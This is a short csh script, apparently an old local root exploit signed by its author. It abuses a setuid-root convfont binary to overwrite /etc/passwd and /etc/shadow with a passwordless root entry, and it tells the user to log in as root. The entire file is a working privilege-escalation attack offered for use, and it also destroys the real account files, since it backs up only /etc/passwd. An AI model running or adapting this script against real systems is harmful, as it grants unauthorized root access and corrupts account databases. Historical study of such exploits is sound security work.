#!/bin/csh echo "convfont exploit - by Squidge" echo "squidge@onyx.infonexus.com" echo " " echo "this will get you root by exploiting a hole in /usr/bin/convfont" #NOTE: If this auto-detect screws up, alter the variable PW_TYPE # PW_TYPE = "plain" is for a normal /etc/passwd # PW_TYPE = "shadow" is for a shadow /etc/passwd /etc/shadow combo setenv PATH .:/bin:/usr/bin:/sbin:/usr/sbin echo " " echo "determining system type" if ( -e /etc/shadow ) then # aha ! is a shadow system echo "found a shadow password system. good job we're ueberhackers :)" set PW_TYPE = shadow else echo "found a normal password system. make some effort, mr root !" set PW_TYPE = plain endif set loop = 0 set limit = 100 echo > /tmp/passwd root::0:0:Squidge is an Ueberhacker:/:/bin/sh if ( $PW_TYPE == "shadow" ) then echo > /tmp/shadow root::9566:0:99999:14::: endif echo "building passwd entry. please wait." while ( $loop < $limit ) @ loop++ echo >> /tmp/passwd " " echo >> /tmp/shadow " " echo -n . end echo " " echo "installing fake passwds" echo "backing up /etc/passwd to /tmp" cp /etc/passwd /tmp/real.passwd if ( $PW_TYPE == "shadow" ) then echo "unable to backup /etc/shadow tho, as it is mode 600" endif convfont /tmp/passwd 32 /etc/passwd > /dev/null convfont /tmp/shadow 32 /etc/shadow > /dev/null if ( $status != 0 ) then echo "\!\!\! warning. Something dodgy occured. It could be:" echo " convfont isn't installed" echo " convfont isn't setuid root" exit endif echo "now return to a login prompt, and type root. you don't need a password" echo "be sensible, and remember: squidge - The Guild" echo " *******************" rm -f /tmp/passwd /tmp/shadow